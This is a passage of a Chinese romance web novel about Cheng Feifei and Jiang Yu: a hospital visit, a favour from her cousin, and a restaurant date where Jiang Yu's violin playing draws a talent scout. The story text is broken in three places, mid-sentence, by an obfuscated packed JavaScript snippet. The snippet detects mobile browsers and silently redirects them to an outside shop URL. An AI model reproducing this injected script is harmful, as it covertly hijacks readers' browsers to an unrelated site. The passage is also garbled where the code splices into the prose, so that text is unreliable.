她舀起一捧温水扑在脸上,挂满水珠的面颊像剥了壳的鸡蛋,在冬日的寒风中冒着袅袅热气。 小黄在江羽的腿边穿梭着,竖着尾巴蹭来蹭去,全然忘记了昨天被赶出房间的窘迫。 程霏霏鲜少跟狗打交道,平时能见到的,也都是被人抱在怀里的精致犬种。小黄这样野生又邋遢的土狗还是头一回见,自然没什么好脸色。 昨晚,小黄不得不在院子里睡了一宿,委屈得不行。一早看见主人,又活泼得仿佛重生了一般,忘记了所有不快。 它跟着两个人类进了屋子,蹲在桌边,使劲嗅着早餐的香味,摆出讨巧的姿态。 可惜主人的目光完全不在它身上。 江羽将买回来的东西摆了一桌子,堆在程霏霏面前。 什么包子,茶叶蛋,葱花饼,糯米糍,豆浆……看得程霏霏眼睛都直了。 “你买这么多,我们俩吃得下?” 江羽一副理所当然的模样:“我怕你吃不惯,就多买了几样,你可以选。” 程霏霏也不用筷子,捏起一只水煎包送进嘴里,慢条斯理地嚼。 “难怪你给我送的早餐,不是麦当劳就是鹿客的三明治。江羽同学,你是不是觉得我特别娇生惯养?” 江羽抿了一口豆浆,摇摇头:“我从来没这么想过。” 程霏霏转了转眼珠,也不知哪根筋搭错了,忽然问:“你觉得,鹿客的定价贵不贵?” 江羽想也没想,脱口而出:“中等吧。” 说完,一蹙眉,意识到自己说了大话。江羽满嘴的豆浆差点呛住,画蛇添足地补充:“……是挺贵,起码,我就消费不起。” 程霏霏眯缝着眼睛瞅他。 她想起江羽在聊到剑桥时,那种自然到习以为常的神色。 她一直很好奇,这个在市井的角落里艰难生存的穷小子,到底有着什么样的过往经历,才能对富贵不以为奇,对贫穷又如此坦然处之? 程霏霏不怀好意地凑上去,按住他手里的包子:“少吃点,今天姐姐带你尝点好的去!” * 程霏霏和江羽约定,晚些时候在江边那条商业街上见。 江羽不明所以,还是乖乖点了头。 他还要赶去江城大学附属医院,冯惠珍今天动手术。 提起那个人,程霏霏心底依然有点子不痛快。 她揪住江羽的衣角,黏黏糊糊地问:“那天在医院,你为什么说我是你的……那个啊?” 江羽不解:“哪个?” 程霏霏的眼神到处乱瞟:“就那个……同学呗。” 江羽想了半天,才记起来有这茬。 他沉思了一瞬,牵过她的手,眨着一双看似无辜的眼睛:“那我应该怎么介绍你?” 这下,轮到程霏霏犯难了。 不过,输人不能输阵,她赶紧铆足气势回答道:“……当然是金主姐姐了!” 江羽弯了弯眼睛,好笑地看着她,眼底却好似闪过一缕极快的落寞,转瞬即逝,在被程霏霏抓住之前,就消失得无影无踪。 他点点头:“好,我今天就去跟冯姨说清楚。” “……倒也不必。” 程霏霏知道他在开玩笑,不爽地甩脱他的胳膊:“算了,毕竟是对你有养育之恩的人,别给她老人家添堵了。” 江羽诧异地挑了挑眉毛:“养育之恩倒谈不上,她又不是我妈。” 程霏霏心道,她不是你妈,她只是想当你的丈母娘罢了! 不过,那点病中托孤的心思,她也不是不能理解。 江羽虽然穷,有个名声不好的亲爹,还欠着一屁股债,但本人实在是太出挑了。 极俊的外表,加上名校生的身份,还有连程霏霏也说不清楚的,那种淡饭粗衣的表象下一身不动声色的贵气。 冯惠珍看中他的前程,想要赌一把,撮合他和自己的女儿在一起,倒也再正常不过。 程霏霏捏了捏江羽的脸颊,感慨地想,我的眼光可真不赖,竟然捡到了这么个宝贝。 可惜——她的宝贝住在这么一间糟心的破屋子里,连这都要面临流离失所的困境,她程霏霏怎么能忍! 江羽握住她在自己脸上作乱的手,浅色的瞳底犹如蓄了一汪清水,映满了程霏霏的倒影。 他语含期待地开口:“霏霏,如果有一天,我的家人问我你是谁,我能不能……” “——我知道了!” 似乎被一个绝妙的主意砸中,程霏霏的眼睛里绽放出喜悦的光辉,猛然打断了他的话。 她兴高采烈地说:“你先不要找房子!晚点咱们碰面,我有事和你商量!” 她看了眼手机上的时间,边穿外套边往外跑,还不忘回身叮嘱:“我先走了,今天的约会不见不散哦!” 江羽看着她一溜烟飞奔出去,动作急切地跨过院子的门槛,转眼就消失不见了。 嘴边的笑容逐渐淡了下去,江羽轻轻吐出一口气,回身看了看屋子里的东西,脑子里开始盘算找房子和搬家的各种事宜。 一边思考,一边心不在焉地收拾桌上的早饭。 仿佛石子击打湖面,思绪如涟漪般荡漾开来,他又想起了刚刚那个没能问出口的问题。 窗外,太阳已经爬上碧空,院墙上高耸的野草被劲风吹得来回倾倒。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14183168|148545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 江羽低垂着头,发丝遮住他的眉眼,挡住一切失落的、酸楚的、自欺欺人的哂然。 “如果有一天……” 他缓缓地呢喃着这句话,蓦地想起,有一首歌好像就叫这个名。 里面的几句歌词大概是—— 【如果有一天,我们再见面 时间会不会倒退一点 也许我们都忽略 互相伤害之外的感觉 如果哪一天,我们都发现 好聚好散不过是种遮掩】 …… 江羽戏谑地想,这歌词可真够矫情的。明明这世上的大部分分离,连个好聚好散也落不着。 如果有一天的意思分明是,不会再有那一天。 * 程霏霏挤着早高峰的地铁回了家。 她小心地推开玄关的门,蹑手蹑脚地往里走。客厅里静悄悄的,一个人影也没有,程霏霏不禁一阵暗喜。 还没绽放胜利的笑容,一道冰冷的质问劈头砸下—— “这大清早的,你是要出门,还是刚回来?” 程皓南穿着家居服,好整以暇地站在楼梯上,居高临下地睨着她。 程霏霏嘘了一声:“我妈呢?” 程皓南打着呵欠,顺着楼梯下来:“婶婶一早就出门了。” 程霏霏这下彻底不装了,拖拉着沉重的脚步挪到沙发边,四仰八叉地往前一扑—— “还是家里的沙发舒服啊!” 程皓南挑着眉走过来:“我怎么又闻到了惹事的味道?先说好,可别让我给你兜底。” 程霏霏从沙发里探出头,一把拽住他的胳膊,贼兮兮地说:“哥,帮个忙呗。” 程皓南扭头就走。 程霏霏赶紧拉住他:“真的是小忙!” 程皓南一脸不相信。 程霏霏笑得很谄媚:“我不是在江边有个小房子嘛,虽然不太经常去住,但我妈时不时的就会过去收拾一下。你能不能帮忙撒个小谎,就说你的朋友要借住那个房子?” 程皓南满头问号:“我的朋友干吗要借住你的房子?” “因为我的朋友都和我同龄,是大学生,要住宿舍的嘛!而你的朋友是大人,才会有借住别人房子的可能性。” 程皓南这才品出味来:“你是为了不让婶婶过去……说吧,要给谁住?” 程霏霏缩了缩脖子:“就,一个朋友。” “男的?” 程霏霏警惕地问:“你怎么知道?” “我当然知道!” 程皓南没好气地哼了一声,在沙发里坐下,像个大爷一样翘起二郎腿。 “我还知道,你喜欢你们学校一个姓李的小子,还很没出息地追了内傻逼一年多。怎么,这回是要把房子借给他住?” 程霏霏懒得打听他是如何得知这些过气八卦的,更没那闲工夫澄清绯闻,只是追问道:“你到底帮还是不帮?” “帮忙可以,但我有个条件。” 程霏霏表示洗耳恭听。 “那房子是你的,你想给谁住,我管不了,但是——”程皓南抱着胳膊,意味深长地瞧着她,“你不许搬进去住。” 程霏霏瞬间听懂了他的意思,脸上狠狠一红。 苍天啊,她可从来没有过那方面的想法! 她真的只是好心,且怀着搞砸了江羽房子的愧疚之情,出于善意,才想出这么一桩解决方案的……吧? 程霏霏的心里一下子乱七八糟。 想到今天早上醒来时,枕头旁边那张俊美如玉的脸,她忽然有些不确定了。 恍惚了好几秒钟,直到程皓南的脸色越来越难看,她才机械性地点了点头,答应下这唯一的条件。 程霏霏回到房间的时候,一颗小心脏还在失控地胡蹦乱跳。 她倒在床上,无语地想,自己怎么能如此禽兽? 她的小帅哥明明还只是……一个刚刚成年不久的、大一的小朋友而已啊! 手机嗡地一震。 补完回笼觉的任可心发来微信,只有短短几个字—— 【人睡着爽吗?】 程霏霏两眼一黑,手上却一滑,稀里糊涂地回复了个“赞”。 “……” 她捂住爆红的脸,彻底放弃了。 36. 36 江羽请了假,在江大附属医院忙碌了大半天。 冯惠珍的状况很不理想,病情耽搁得太久,即便做了手术,术后的恢复情况也只能听天由命。 她女儿小禾年纪小,只会无措地掉眼泪,大事决定不了一点。医生和护士无奈,有什么事情只能跟江羽沟通。 好在手术的过程比较顺利,冯惠珍一出来,小禾就扑了上去,紧紧守在病床前。 冯惠珍已经恢复了意识,趁着麻药的劲儿没过,还能好声好气地安慰女儿几句。 江羽给这对母女留出说话的空间,悄悄退出病房,关上了门。 不一会,小禾抹着眼泪出来了,看到走廊里安静而立的人。 江羽靠在医院的白墙上,不知在和谁发微信。嘴角不自觉地上扬,眼睛很亮,像藏着星星。 小禾隐隐觉得,江羽似乎变得不一样了,和半年前借住在自己家的状态判若两人。 她走上前,有些哽咽地说:“江羽哥,这次幸亏有你。否则这一时半刻的,我也拿不出看病的钱。等我有了钱,一定第一时间还给你。” 江羽收起手机,淡声回道:“也没多少钱,再多的我也拿不出来。别操心还钱了,就当是感谢前些日子冯姨对我的收留。” 小禾抿了抿唇,十分不好意思地说:“我妈手术前说的那些话,你可千万别当真!” 她蔫蔫地垂着脑袋,拨弄着自己的手指头:“她也太敢想了……我知道,你根本瞧不上我的。” 江羽似乎被逗乐了,抬起手,戳了一下这枚无精打采的小脑袋瓜。 “你才多大点,就想这些。今年的成人自考记得好好准备,少胡思乱想。”江羽看了眼时间,“我还有事,先走了。” 小禾依旧垂着头,嗫嚅道:“江羽哥,我听外婆说,我妈以前……好像对你不太好。” 江羽离去的脚步倏地顿住。 “她嫌弃你不会说话,没人领养,就纵容孤儿院的小孩子欺负你。有一回,他们把你骗到一条渔船上,推下了江,害得你好几天都回不来……外公还以为你死了。” 江羽蹙眉想了一会儿:“好像是有这么回事。” 小禾羞愧得抬不起头:“我觉得我妈挺没品的,都做过那种事了,还想着让你照顾我。可是我也没办法讨厌她,她是我亲妈,我爸一走,她也是我唯一的家人了。” 江羽回过头,面容和语气都十分平淡:“可能,她也长大了吧。” 小禾不解地眨了眨眼。 “人长大了,后悔年轻时候的一些行为,也不奇怪。” 江羽目光沉静,像是在记忆深处寻索。 “孤儿院的事情,我其实记不太清了。人都有自我防御机制,我的那部分记忆,大概被自个儿过滤掉了。”他顿了顿,像是忽然想通了什么关卡,“你说的这桩事,我也是最近才想起来。” 江羽恍然一笑:“也才明白,从小到大,为什么从江城来帝都的访客都那么不受待见,总是被拒之门外。” 他回身看向小禾:“不管冯姨是什么样的人,当你妈妈的时候,总归是替你着想的。” 天底下的妈妈都是这样的,血缘亲生,是最坚固的情感纽带,谁也改变不了。 小禾听完这些话,突发奇想地问:“江羽哥……如果有机会的话,你会去寻找你的亲生母亲吗?” 江羽愣了愣:“为什么要找?” 小禾困惑地皱着眉:“……为了寻回母子亲情?” “母子亲情。”江羽咂摸着这几个字,忽然笑了笑,“每个人都只有一个妈妈,我也一样。” 没有必要再找第二个。 小禾怔怔地看着他挥了挥手,赶时间一般,匆匆消失在了走廊的拐角。 心里不禁纳闷。 江羽哥他……当真是被帝都的那家人给弃养的么? * 江羽赶在约定的时间之前抵达了江边的商业街。 这是整个江城最繁华的街道之一,集合了大大小小热门的潮牌店铺和娱乐餐饮。 路面全用花岗岩铺设,有赏心悦目的绿地和流光溢彩的喷泉,终日人来人往,熙攘如云。 江羽循着程霏霏发来的地址,走了很久,才在一处绿荫环绕的僻静之地找到了这家店。 竟然是一家闹中取静的高档法国餐厅。 江羽眉头一皱,低头瞅了眼自己身上廉价的外套和裤子,心中升起不好的预感。 果不其然,还没进去呢,就被一个门童模样的人给拦了下来。 门童温和有礼地提醒他,本餐厅消费较为高档,有基本着装要求。 江羽站在门口,无奈地吁出一口气。 这时候,程霏霏忽然出现在玻璃门的另一端,比着口型问:“怎么还不进来?” 目光瞟到他身旁的门童,程霏霏的眉头立时挑得老高,毫不客气地推开餐厅的门,走了出来。 她绽放出一脸笑容,亲昵地挽上江羽的胳膊,娇滴滴地说:“亲爱的,怎么才来呀?你那辆大G保养完了没有啊,人家还想去江边兜风呢!两天没兜风,胃口都变得不好了!” 门童眨眨眼,对江羽的态度瞬间大转弯,火速恭送二位贵客往里走。 江羽边走边附在她耳边说:“你喜欢大G?” 程霏霏面上笑得灿烂,磨着后槽牙道:“谈不上喜欢,有人硬送的话,我也不拒绝。” 她挽着江羽的胳膊走到自己预定好的位置。 正值饭点,餐厅里的人却不算多。环境十分浪漫优雅,黑金的配色低调奢华,处处洋溢着高级而婉约的法式风情。 餐区的尽头,还有一处鲜花着锦的演奏专区,有人正在那里弹奏钢琴。 悠扬的月光曲响彻整个餐厅,清心悦耳。 有服务员优雅地走过来,打算介绍今日菜单,却被程霏霏礼貌打发走。 她看着对面略显局促的人,唇角一扬,饶有兴致地开口:“今天是我的生日。” 江羽一愣:“你的生日,不是已经过完了吗?” “哦,那个啊,是假的,今天这个才是真的!” “……” 程霏霏漫不经心地撩了撩特意卷好的发梢,支着下颌,抬眸一笑:“江羽,我好看吗?” 江羽的眼眸微微睁大,喉结 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14192794|148545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 动了动,沉着嗓子说:“当然,你怎么样都好看。” 这个回答似乎令程霏霏不甚满意。 她微微蹙起眉,嗲兮兮地说:“人家可是为了生日的约会,专门去做的发型,还换了腮红的颜色,你看看!” 说着,便朝着江羽的方向倾身而去。 江羽看到她靠过来,细长的睫毛轻闪,被吊灯的光晕映出一排纤细的倒影,铺展在蜜橘色的苹果肌上。 程霏霏今天的妆容格外娇美,犹如熟透的蜜桃,散发着妖娆的风情。 和昨晚在他怀里熟睡的清秀脸庞截然不同,却又如出一辙地吸引着他。 江羽的心跳忽然变得急促,微微转开视线,盯着餐巾边角的纹样。 程霏霏看着他这副略显笨拙的样子,心中暗自得意,知道火候差不多了,故意媚眼含丝地问:“所以,你给我准备了什么生日礼物呀?” “生日,礼物?”江羽已经傻了,他都不知道今天是她生日。 他垂下目光,强迫被美貌冲击的大脑恢复运转,好声好气地同她商量:“抱歉,霏霏,我不知道今天是你生日,我明天……” 程霏霏抬起一根手指,虚虚一晃,止住了他的话。 她嘟起小嘴,眉间露出几分委屈的神色,仿佛下一秒就要哭出来:“江羽,我为了我们的约会,精心准备了一整天,而你竟然什么都没有准备?唉,我可真伤心!” 江羽怔忪地瞧着她这副泫然欲泣的小模样,不知怎么的,唇角一扬,忽然笑了。 程霏霏见江羽越笑越开心,肩膀都开始轻轻抖动,不禁有些心虚。 难道是演过头了? 江羽边笑,边看了过来。轻松的笑意令他的眉眼绚烂如晨晖。 他抱着胳膊,好整以暇地问:“所以,霏霏精心准备了一整天,是想让我做什么呢?” “……”程霏霏的戏卡壳了。 “无论是什么事,我都答应。”江羽笃定地望着她,目光灼灼。 他连声音都满含着纵容的爱溺,令程霏霏的心一阵疯狂悸动。 ——糟糕,明明是来使美人计的,怎么有点被人将计就计的意思? 程霏霏闭上眼睛,在心底默默翻了个白眼。 男人太聪明也不好,上当不过三秒,耍起来没点意思! 行,什么都答应,这可是你说的。 她不再忸怩,开门见山道:“既然你没准备礼物,那我便指定一项好了。” 说着,招手叫来服务生,在来人的耳边低语了几句。 服务生即刻返身准备。 再回来的时候,手里捧着一把小提琴。 江羽含笑的眸光忽地顿住。 程霏霏接过那把小提琴,左右打量了一番。 还行,凑合能用。 她持着琴,眼含希冀地望过来:“我想要的生日礼物就是,想听你给我演奏一首曲子。” 程霏霏指了指前方那处表演用的花台,俏皮地眨眨眼,声音里充满了得逞的雀跃和藏也藏不住的期待。 “这里环境优雅,正好适合演奏。我们做好事不留名的江老师,请吧!” 37. 37 江羽脸上的表情,程霏霏直到很久以后,仍旧历历在目。 说不清是惊讶,还是慌乱,抑或是释然。江羽什么也没说,只是在她希冀的目光里站起身,犹豫了片刻,接过了那把小提琴。 琴身做工一般,贴着西餐厅自己的logo,一看就是这家店的演奏者平常惯用的琴,只能说普普通通。 江羽拎着小提琴,望向对面狐狸般油滑的程霏霏,怅然而笑:“怎么知道是我的?” 这句话问得莫名,可程霏霏听懂了。 她傲娇地昂了昂下巴:“你的字,我还能认不出来?” 江羽无奈地一耸肩,算是认了。 他提着琴柄转身,随着服务生的引领,走向那处演奏的花台。 程霏霏笑吟吟地注视着他的背影,单薄而挺拔,拎着小提琴的时候,却有一种说不清又道不明的利落和娴熟。 仿佛以同样的姿态走过很多盛大的比赛和舞台,令程霏霏有些头晕目眩的恍惚感。 她攥紧了手指,内心忽然有一点后悔。 为什么这么草率地把他骗到这里——这样一个普普通通的西餐厅来? 服务生已经引着江羽到达了表演的地方,还礼貌地询问,需不需要什么曲谱。 江羽略一摇头,将小提琴执起,架在颈窝处。 他已经两年没有摸过琴了。 以为这一刻到来的时候,他会激动,甚至会忐忑,可是当小提琴触手的那一瞬间,江羽的内心竟然没有丝毫波澜,持琴的动作自然又熟稔,仿佛这是一件他生来就会做的事情。 江羽搭弓试弦,听了听音色。 小提琴的音准极佳,就如演奏者本人的状态一样——他的头脑,他的身体,皆无比自然地跳过了所有生疏的磨合,顷刻间就做好了充分准备。 刻入骨血的肌肉记忆,甚至连曲谱都不需要。 江羽闭上眼睛,意识深处,仿佛重新回到了家里那间隔音良好的练习室…… 阳光明媚的午后,黑胶碟里流淌着巴赫和西贝柳斯。江羽缩在练习室的懒人沙发上打游戏,和队友互相吐槽彼此的骚操作。 手中的游戏在激战,脚尖却和音打着拍子。 一首曲子放完,游戏也刚好结束。 他伸着懒腰站起身,慢吞吞地踱去书架前,闭上眼睛。 修长的手指在整排装订完好的书脊上轻轻滑过。 一整面墙的曲谱,摆得满满当当,有些还是孤本,是专业小提琴家才会有的收藏。 此刻,时隔两年,江羽站在这家陌生的西餐厅里,颇为诧异地发觉,那些五线谱上的音符好像通通活了过来,一个个欢腾地跳动着,争先恐后从他的记忆深处踊跃而出。 他抬起目光,与远处的程霏霏轻轻相碰。 一道曲名自心头悄然划过。 江羽唇角一勾,手腕轻抬,起弓拨弦。 美妙悠扬的小提琴音霎那间飘逸而出,流淌在整个西餐厅里,空灵得仿佛瞬间铸就了一场美梦,将所有人的感官笼罩其中。 泉水般清澈的音色明亮又轻盈,柔肠百转的层次细腻婉约,释放着最甜美、最酣畅的灵气。 这琴声仿佛能够勾起人内心深处所有的明媚,释放出全部卓然不群的想象力。 在场的客人们不约而同般停下了进食和畅饮。 大家纷纷侧目,这才注意到,餐厅的角落里,一个打扮普通、甚至称得上寒酸的小伙子正在拉小提琴。 他闭着眼睛,没看曲谱。脸上的表情带着怀念般的缱绻,仿佛完全沉浸在了音乐的世界中。 食客们有些惊喜,因为他的琴拉得实在是太好了! 餐厅原本的小提琴手震惊地瞪大了眼珠子——乖乖,这真的是自己日常用的那把琴吗? 一把普普通通的琴,在江羽的手里,仿佛化身成最优质、最矜贵的乐器,奏出极致柔美又连绵不断的音色。 就像他的人一样,平平无奇的打扮下,竟然藏着这样璀璨夺目的才华。 程霏霏坐在台下,瞳孔微微震颤,浑身的汗毛都在轻轻发抖。 她早就猜到,他的琴必定拉得不错。可怎么也没有想到,竟然会是这样好…… 脑海里只有一个词:登峰造极。 而且,这首曲子…… “德彪西,《亚麻色头发的少女》。”隔壁桌的客人已经听了出来。 程霏霏垂下眸子,面色悄然而红。 ——好你个江羽,竟然敢调侃我。 * 就在亚麻色头发的少女本人正沉醉在蜿蜒轻缓、如痴如诉的绝美旋律中时,江羽的一首曲子已经到了尽头。 令人惊讶的是,他非但没有停止,反而一个丝滑的转场,立时便过渡到另一首风格截然不同的曲子中。 霎那间,程霏霏仿佛置身在一片汪洋绚烂的花海,眼前有大朵玫瑰花悄然盛放。 柔韧的劲风拔地而起,卷着纷飞的花瓣涌上天际,像瑰丽的烟花一般朵朵炸响,汹涌地席卷在春光满溢的大地上。 世间万物仿佛都焕然一新了,琴音缠绕着每一朵花、每一株草,像穿林而过的风,也像润物无声的雨。 程霏霏从没有听过这首曲子,却感受到一场盛大的动容。她沉浸其中,听得很享受。 甚至,当江羽结束了演奏,在众人的掌声中回到座位上时,程霏霏立马拉住他的胳膊,着急地问:“第二首曲子叫什么?” 江羽静静抬起眼睫,目光深沉而滚烫,直直地看进她的眼底。 “我爱你。” “……什么?”程霏霏的指尖猛地一颤,心漏跳一拍。 “岛村绚沙的《我爱你》。”江羽的眸光亮得惊人,一字一顿地解释。 “哦。”程霏霏若无其事地松开他的袖子,心底不知为何,忽然有点失落。 不过,她真的好喜欢刚刚演奏的两首曲子啊! 正要欣喜若狂地夸赞他一番,服务生又过来了,对着江羽微微颔首:“先生,有一桌客人非常喜欢您刚才的演奏,想请问您,方不方便再多加一曲?” 程霏霏讶异地挑了挑眉。 “那桌客人表示,如果您愿意加一曲,您二位今天在本店的全部消费,将由他们承担。” 程霏霏轻哼一声,并不为所动。 而江羽听了,倒是将腿上的餐巾重新放回桌面上,爽快应道:“可以。” 他俯身,贴近程霏霏的耳侧:“就当这顿饭我请啦。” 说完,还戏谑地眨了眨眼:“毕竟,今天是霏霏的生日嘛!” 程霏霏知道自己的谎言被戳穿了,闹了个大红脸,不好再反对。 江羽一笑,重新接过小提琴,回到表演区。 他落落大方地看向点歌的那桌人:“诸位想听什么?” 那张桌子大概坐了四五个人,有男有女,皆打扮得休闲低调,衣品却是不俗。 其中一个三十岁左右、戴着鸭舌帽的男人回应道:“都可以,就请来一首我们熟悉的吧。” 江羽略一思索,开始演奏今天的第三首曲子,经典曲目:PorUnaCabeza(一步之遥)。 程霏霏笑出了声,这首倒的确很适合在这样的场合里演奏。 轻快悠扬的一曲很快完结,那桌客人很捧场,掌声鼓得起劲。结束之后,还真如承诺的那般,支付了程霏霏这桌的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14200189|148545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 全部费用,并额外赠送了一瓶口感不俗的甜酒。 程霏霏乐得享用这份佳赠,和江羽痛快地饱餐了一顿。 吃完大餐,他们正要起身离开,服务生又来了。 “刚刚那位先生……想请您二位过去,喝杯咖啡。” “……” 程霏霏眼神复杂地回望过去,果然看到有人在座位上站了起来,遥遥举起一盏白瓷杯,看着倒是有几分诚心正意的样子。 程霏霏不是第一回被人搭讪,但这个人的感觉,又不太像。 她倒要看看,此人是什么来头。 便很大方地冲服务生应道:“当然可以。” * 他们还未走近,鸭舌帽男人便已经站了起来,主动打起招呼:“二位请坐。” 程霏霏眼尖地发现,这几个人并不是来喝酒聚会的,而是在吃一顿工作简餐。 鸭舌帽男子身材修长,长相不怒自威,一双眼睛炯炯有神,看向江羽的时候,带着一股若隐若现的探究。 果然,他接着就掏出了自己的名片,递上前来。 江羽的目光微微一顿:“风盛传媒,祁风鸣……祁总?” “总不敢当,打工人罢了。”祁风鸣摆了摆手,颇有亲和力地说:“我和我的团队来江城出差,在这里歇脚,凑巧听到刚才的演奏,荣幸之至。” 他笑得令人如沐春风:“冒昧问一下这位帅哥,今年贵庚啊?” 江羽目露疑惑。 “哈哈哈,别误会!我是看你资质非比寻常,想问问你,有没有兴趣来娱乐圈发展?” 程霏霏眼睛一亮,这是遇到星探了吗? 她迫不及待地看向江羽。 而江羽的反应却有些奇怪——少了点震惊,多了几分微妙。 他似乎斟酌了一下,才道:“谢谢您,我没……” 话还没说完,手中的名片就被程霏霏一把抢了过去。 她笑得如同一朵盛开的芙蓉花:“祁老师!祁哥!他叫江羽,今年十九岁,是江城大学的高材生,很学霸的那种哦!要脸有脸,要才华有才华的!您看,方便的话,你们加个微信细聊啊?” 江羽:“……” 祁风鸣大喜,立刻掏出手机加上了微信,又同程霏霏热情攀谈了许久。 时间不早,江羽拉着程霏霏起身告辞。祁风鸣殷勤地将他们送到餐厅门口,眼见着两个年轻人消失在视线里,才迈着得意的脚步回到座位上。 餐厅内已经开始演奏钢琴曲,和刚刚精湛的小提琴声一对比,寡淡得如同白开水。 祁风鸣满脸的堆笑尽数褪去,重现了淡漠平静的一张脸孔,带着几分上位者的沉着冷硬。 身旁的工作人员凑上前:“祁哥,看上那小子了?多少年没见您这么主动过了。” 祁风鸣心情不错,将杯底的威士忌一饮而尽。 “你觉得他怎么样?” “很不错,再稍微做点形象管理,靠脸就能红!” 祁风鸣笑了一声:“他可不止有脸。” 他懒洋洋地望着餐厅顶上那盏华丽的水晶灯,问下属:“你听说过,帝都有个国家青少年交响乐团吗?” 工作人员频频点头:“当然!大名鼎鼎,谁人不知啊?那可是个天才扎堆的地方,只要是进了,哪怕是个后补,都能拿到音乐学院的保送!我亲戚家的小孩年年都考,每回都惨遭淘汰。” 祁风鸣的眼里闪过回忆的神色:“三年前,我在帝都听过一场新年音乐会,演奏方就是青少年交响乐团。” “哦?那,这小子难道……” 祁风鸣露出一个饶有兴味的笑:“他是当年的小提琴首席。” 38. 38 下属惊讶极了,嘴巴张得老大。 他们这一行,有张好脸就算成了一半,若再加上才华……那简直就是老天爷给铺路啊! 只不过—— 下属颇为担忧地说:“这种艺术家苗子,向来个顶个的清高。这小子要真这么厉害,会愿意来娱乐圈发展么?” 祁风鸣一哂:“艺术家也要吃饭。” 他抬了抬眉梢:“你看那小子,穿得普普通通,为了请身边的女孩子吃顿饭,甘愿给咱们拉了一首曲子。我倒是觉得,他非但不清高,经济上还很窘迫。” 祁风鸣轻轻晃了晃手中的酒杯:“有需求,就有机会。咱们这趟来江城,收获倒是不小。” * 夜色十分恬静,江风不再凌厉,反倒挟带着几分娇柔。 令人不禁猜想,今年的春天会不会比往年更早到来。 广袤的夜空被灯光映得绚亮,一如程霏霏兴奋的眼底。 商业街上人来人往,她双手插在衣兜里,在人群中欢快地倒步走。 江羽好笑地看她:“就这么高兴?” “当然!”程霏霏兴奋极了,眼睛里像洒满了星星,亮得不像话,“大神,原来你这么厉害的!” 江羽看着眼前眉开眼笑的人,心中像是被温热的泉水灌满了。 连那些自以为坚固的沉疴,好像也一瞬间消失无影。 “如果你喜欢,我可以每天拉琴给你听。” 程霏霏愣住了,眼神既惊又喜。片刻后,竟然生出几分惭愧来。 “我这是什么女恶霸人设啊,逼得你卖身又卖艺的……” 江羽被她逗得直笑。 他周身拮据,拿不出什么像样的礼物哄她开心。如果这样简单就能令她高兴,反倒是他占了便宜。 “你的琴拉得这样好,当初为什么不去读音乐院校?”程霏霏仰着脖子,十分好奇,“以你的水平,一定能去最厉害的学校,帝都音乐学院啊什么的!” 江羽却挺无所谓地说:“学费那么贵,我可读不起。” 程霏霏听了,眼里浮起失落。 江羽一愣,不再开玩笑了,正色道:“没有,钱只是一方面,更主要的原因其实是,这些东西对我来说……挺容易的,没什么门槛,也就没有挑战。” 程霏霏瞪圆了眼睛——她从来没有体会过“很容易”是什么感觉! “即便容易……”程霏霏微蹙着眉,“毕竟是你专门学会的,就这样放弃了,不可惜么?” 江羽沉吟片刻:“其实也没怎么学。” “……” “是真的。”江羽失笑,脑海里闪过诸多回忆。 “海菲兹,奥伊斯特拉赫,梅纽因,格鲁米奥……我从小就听着这些人的曲子长大。小提琴对我来说,只是童年里一项解闷的工具而已。” 他的目光掠过人群,望向远处沉默的江面。 “我小时候说话很晚,没什么朋友。妈妈怕我孤单,就总是把我带在身边。有她在的地方,就会有旋律。” 程霏霏直勾勾地看着他,心底涌起一阵酸胀的疼惜,忍不住感叹:“原来你妈妈……也是一位音乐爱好者啊。” 江羽一愣,不由莞尔:“你这么说,倒也没错。” 他在人群里牵起她的手,放进自己的衣兜里取暖。 “因为这种特殊性,小提琴对我来说,就好像说话一样,算是一种本能。” “那后来,你为什么不再拉琴了呢?” 这个问题是她最好奇的。 认识江羽以来,她从没在他的身边、或者家里见到过小提琴,也从没有听他提起过相关的只言片语。 江羽只是轻描淡写地一笑:“我原本打算……放弃这种本能了。” 程霏霏停下了脚步。 她的表情安静而忧伤,写满了哀婉的痛惜。 江羽伸出手,捧起她被江风吹红的小脸:“霏霏,别这样看着我。” 你再这样看下去,我的心会把持不住。 他很认真地望着她:“可就在刚才,我改主意了。” 程霏霏惊讶地眨了眨眼。 江羽唇角微翘:“因为,你喜欢。” 我微不足道的一点才华,因着你的喜欢,好像又有了存在的意义。 程霏霏愣愣地看着他,心底那些咕咕冒泡的疑问并没有得到解答。可是莫名的,她不愿意继续问下去。 不能为了满足自己的好奇心就去揭别人的伤疤不是? 程霏霏嘟起嘴,水灵灵的目光带着几分天真:“如果小提琴会让你想起伤心的事……我就不想听了。” 